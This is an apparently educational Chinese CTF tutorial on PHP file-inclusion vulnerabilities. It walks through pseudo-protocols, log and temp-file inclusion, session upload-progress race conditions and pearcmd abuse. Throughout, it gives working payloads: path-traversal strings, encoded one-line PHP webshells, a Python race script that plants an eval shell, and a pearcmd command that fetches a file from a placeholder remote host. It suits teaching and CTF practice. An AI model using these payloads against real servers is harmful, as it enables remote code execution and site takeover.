CTFWEB-文件包含篇
Web题目做题思路
第一步
拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。
第二步
判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。
第三步
寻找敏感数据,拿到最终flag。
什么是文件包含漏洞
文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include()
include():找不到被包含的文件只会产生警告,脚本继续执行
require()
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include_once()
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
require_once()
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
来看一道简单题
<?phperror_reporting(0);highlight_file(__FILE__);
// flag in /var/www/secretinclude $_GET['file'];
?>
它给了flag文件位置提示,直接传参即可
也可以包含系统配置文件
如果包含的是php代码的话,那么就会执行,不会回显
文件包含伪协议
1.什么是协议
协议呢?就是双方都能听明白的一个沟通约定语言,比如我们说的这个普通话,那么它就是一种协议啊,有了它,我们天南海台北的人都能说一个同一个语调,那么我们东北的贵州的说话互相的才能听得懂,那么在我们计算机中呢也有很多协议
常见的网络层有
IP协议、ICMP协议、ARP协议、IGMP协议
应用层
http协议、https协议、ftp协议、ssh协议、gopher协议、qq拉起协议
2.协议的格式
协议头://内容(多为二进制
3.php中的协议
file://
访问本地文件系统,在不写协议名字的情况下,就默认是file协议它是支持这个路径混杂模式,什么叫做混杂模式,我们知道在linux下,路径呢一般分为什么对吧,分为相对路径和绝对路径,假设我们使用include包含网站根目录下的flag.php,实际上是包含/var/www/html/flag.php,它会由相对路径转换为绝对路径
http://
访问 HTTP(s) 网址,可以获取远程的内容,返回到本地,也可以用包含函数包含远程文件,可以直接读取远程的php文件在本地执行,RCE。注意:包含远程文件需在php.ini中将allow_url_include设置为On。
ftp://
默认21端口,进行文件传输的协议
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码。
php://input用于执行php代码
data://
数据(RFC 2397)data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
phar:// — PHP 归档
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
zlib:// — 压缩流
file://
在使用file协议前我们要先了解些东西
linux的上层目录特性
1.每个目录都有上层目录
比如说/var/www/html/../../../这样就来到了根目录
2.根目录的上层目录是根目录本身
/var/www/html/../../../../../../由于根目录的上级还是根目录,这样我们无论加足够多的../就会来到根目录
php目录整理特性
比如/var/www/html/caigo/../flag.php
在win下访问会报错,但是在Linux下它会自动帮我们整理成/var/www/html/flag.php
多的不说上例题
<?phperror_reporting(0);highlight_file(__FILE__);
//flag in /flag
$file = $_GET['file']?$_GET['file']:"nothing.php";include "/var/www/html/".$file;
?>
做法也很简单,有提示flag在根目录下,所以直接多加几个../访问根目录即可,因为linux的上层目录特性,这里加几个都行,大于3个就行
payload
?file=../../../../..//flag
http://
我这有一个简单的演示代码
<?php
file_get_contents("https://baidu.com/robots.txt");
?>
这样就可以包含远程文件
ftp://
默认21端口,进行文件传输的协议
<?php
include "ftp://baidu.com/robots.txt";
?>
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码。
php://input用于执行php代码
php://input
官方介绍:php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。enctype="multipart/form-data" 的时候 php://input 是无效的。
Note: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次;数据流不支持 seek 操作。不过,依赖于 SAPI 的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。通常情况下,这种情况只是针对 POST 请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。
大致意思就是:php://input会接收由post请求的原始数据,就好比%61url解码后是a,如果是正常提交,网站会自动url解码成a,但是php://input接收的数据是原始数据不会对数据进行操作所以收到的就是%61这3个字符,我们代入代码include php://input;
post提交的数据放到include里,假如我们提交的数据外有php标签那么,它就会把php标签里的数据当初php代码执行,造成RCE。
例题
<?phperror_reporting(0);highlight_file(__FILE__);
//flag in /flag
include "php://input";
?>
我们用bp抓包,发送post数据
可以看到被php标签包裹的命令被执行了
注意:在hackbar插件下这样的post请求因为没有传参点,hackbar会自动将post里的数据丢弃,因为它认为这样是错误的,属于好心办坏事
这样才会发送数据
php://filter
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
$file = $_GET['file'];
$content = $_POST['content'];
if(preg_match("/\<|\>|\;|\(|\?/i")){
die("content not safe");
}
file_put_contents($file,$content);
?>
由于题目对符号进行了过滤导致我们不能直接传php标签,文件我们使用filter经典的过滤器base64编码
payload:
GET提交
?file=php://filter/wirte=convert.base64-decode/resource=2.php
POST提交
content=PD9waHAgYXNzZXJ0KCRfUE9TVFt4XSk7Pz4=
poc解释
wirte:写入
convert.base64-decode:对写进文件里的内容先进行一次base64解码,再写入
resource:指定写入的文件名
content提交的值是经过base64编码后的一句话木马//<?php assert($_POST[x]);?>
文件创建成功后,直接蚁剑连接即可
接着看下面
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php die();?>".$content);
?>
这道题就是我们常说的绕过死亡代,因为在中间加上了"<?php die();?>"
,这就会导致会终止php的执行,不会运行$content
的值
这里我们用另一个过滤器string.rot13
rot13也就是凯撒13,ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。
payload:
GET提交
/?file=php://filter/write=string.rot13/resource=3.php
POST提交
content=<?cuc nffreg($_CBFG[k]);?>
poc解释
string.rot13是凯撒13编码
content提交的值是经过rot13编码后的一句话木马
这里我遇到了一个问题,我用hackbar发包的时候,它创建了文件,但是文件里的内容不对,原本要写的内容是这个<?cuc nffreg($_CBFG[k]);?>
,写进去变成了<?cuc qvr();?>
这个,不清楚是上面原因,我用burp抓完后再发就可以。
data://
data协议,作为一个php的一个伪协议啊,它的作用其实和php:// input有点类似啊,那么在data协议里面它会以结果为导向,本来呢,文件包含它是包含一个文件路径,然后再去读取这里面的内容。然后data协议呢,相当于两步换作一步走,直接把内容给你,直接包含内容。是这么个意思,data协议,相当于让include转换为一个能够执行php代码的eval了,所以利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
我们直接看例题
<?php
error_reporting(0);
highlight_file(__FILE__);
include $_GET['file'].".php";
?>
poc
/?file=data://text/plain,<?php%20phpinfo();?>
直接就可以执行
data协议只要符合它的标准啊,都可以认为是data协议,那么简单的说法就是说。在data中,我们是可以省略//text/plain
的,甚至呢,可以对它呢进行一个编码的啊,只要保留data:,
就能执行
这就是一个极端的一个简写情况啊,大多数情况下可能存在过滤,根据题目修改
php的文件上传机制
又扯到文件上传上去了,这个东西和命令执行多多少少有点关系,php存在超全局变量,列如$_GET、$_POST、$_SERVER、$_COOKIE、$_SESSION、$_FILES,这是因为php在设计的时候他也不知道哪些界面用户会上传,哪些用户不上传。所以呢,为了为了方便期,每次呢都会初始化这个主全局变量,然后呢,把用户所有的用户上传信息呢,都放到这里面去啊。上传至里面去,如果呢上传时不存,用的时候呢,就找不到了,所以呢php会将上传的文件先临时放到一个临时目录先留着,即使它后端没有文件上传功能。这就是说的是我们可以强制上传文件,上传上去以后,它生命周期只是在php的运行过程,可能就几毫秒,但是这几毫秒文件是存在的,在linux下面它存放路径是/tmp/phpxxxxxx,x有三种可能性:大写字母、小写字母、数字。我们正是利用这个机制呢,在没有接收这个文件上传参数的情况下呢,强制性的上传一个文件,放到临时文件里面去,然后再匹配到这个临时文件,执行临文件里面的恶意命令啊,实现了一个远程rce的效果
看例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/[a-z]|[0-9]/i",$cmd)){
system($cmd);
}
?>
可以看到它这了过滤了数字和字母,我们先在本地构造一个上传页面
<form action="http://b6ddce33-4e2c-4645-b4f9-0f812a23ba5a.challenges.ctfer.com:8080/" enctype="multipart/form-data" metho="post" >
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>
我们再创建一个执行命令的文件1.txt
ls
我们上传1.txt并抓包,上传
然后用这道题的cmd参数执行命令
payload:
get传参
./???/????????[@-[]
post传参
ls /
日志文件包含
<?php
error_reporting(0);
highlight_file(__FILE__);
include "file:///var/www/html/".$_GET['file'];
?>
可以看到这题可控的是文件后缀,也就没办法使用伪协议,我们使用hackbar修改ua头
payload:
/?file=../../../../../var/log/nginx/access.log
然后包含我们的日志文件,可以看到phpInfo被执行了,把命令换成一句话木马,蚁剑连接即可
临时文件包含
在前面的php的文件上传机制,我们提到过,但我们强制上传一个文件时,php会将它放在一个临时目录,文件路径是/tmp/phpxxxxxx,很显然文件名我们是不知道的,文件包含也无法使用我们前面命令执行的通配符?
,那有没有办法能得到文件名呢
有,当网站上存在phpinfo时,因为我们知道强制上传的文件会存放到$_FILES这个全局变量值,而phpinfo页面会将当前请求上下文中所有变量都打印出来,这样我们就能通过phpinfo来获取临时文件名,进而进行包含
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
来看例题
<?php error_reporting(0);highlight_file(__FILE__);
//phpinfo.phpinclude "file:///var/www/html/".$_GET['file'];
?>
题目提示了,存在phpinfo,我们使用脚本跑,注意:这脚本是很久以前写的,所以是python2的,脚本太长,不放这了。
脚本链接:https://blog.csdn.net/qq_45521281/article/details/106498971
可能会跑不出来,看运气
php的session/upload_progress文件包含
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以将上传的文件信息保存在session中,然后在脚本运行过程中,包含后,可以执行里面的php代码
一般默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,我们需要进行条件竞争.如果为off,就不需要利用条件竞争.
<?php
error_reporting(0);
highlight_file(__FILE__);
include "file:///var/www/html/".$_GET['file'];
?>
因为需要条件竞争,所以要使用脚本
import requestsimport threading
session = requests.session()sess="caigo"
file_name="/var/www/html/1.php"file_content='<?php eval($_POST[1]);?>'
url = "http://59bdde2b-9b8a-4306-ad63-333d6681eda6.challenges.ctfer.com:8080/"
data = { "PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"}file= { 'file':'caigo'}cookies={ 'PHPSESSID':sess}
def write(): while True: r = session.post(url=url,data=data,files=file,cookies=cookies)
def read(): while True: r = session.post(url=url+"?file=../../../../../../tmp/sess_caigo") if "success" in r.text: print("shell 地址为:"+url+"/1.php") exit()
threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads: t.start()
他会在网站根目录生成一个1.php,连接密码是1
pear文件包含
条件:
有文件包含点
开启了pear扩展
配置文件中register_argc_argv 设置为On,而默认为Off
例题
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
include $file;
}else{
show_source(__FILE__);
if(isset($_GET['info'])){
phpinfo();
}
}
我们利用pear扩展进行文件包含
1、远程文件下载实现远程文件包含
poc:
/?file=/usr/local/lib/php/pearcmd.php&caigo+install+R+/var/www/html/+http://xxx.xxx.xxx/1.php
它提示下载到这个目录"/tmp/pear/download/1.php",我们尝试包含它
2、生成配置文件,配置项传入我们恶意的php代码的形式
poc:
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
由于hackbar会尝试编码写入的数据会变成这样"%3C?eval($_POST[1]);?%3E";
,所以我们使用burp修改一下发包
提示写入成功,尝试包含/tmp/ctf.php
3、写配置文件方式
poc:
/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
由于可能会遇到前面的编码问题,我们还是用burp
然后访问网站根目录的1.php
因为我们写的poc是`
符号包起来是的命令执行,要注意不是eval,我们直接用curl反弹
除了pearcmd还有peclcmd
远程文件包含
我们前面说过可以远程包含文件
注意,我们使用远程文件包含时,我们的vps上的shell文件要是能返回一句话木马的,而不是在网站上被解析的,我们可以包含1.txt文件,在1.txt里写shell,文件包含它会按php解析的
看例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
if(preg_match("/\.|php|data/i",$file)){
die("hacker");
}
include $file;
?>
这道题它过滤了.
符号我们知道包含远程文件要有ip(127.0.0.1)或域名(baidu.com)都是存在.
符号的,我们可以使用ip转数字来绕过
我这里用的是这个网站:http://www.msxindl.com/tools/ip/ip_num.asp
用其他的也行
在我们的vps上创建一个能访问道的1文件因为有过滤.
无后缀也是能访问的
死亡砸楼
看到最后,给大家分享一个php伪协议中的死亡砸楼,在ctf比赛中是有可能出现的(虽然说概率不大),大家了解了解就行了
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。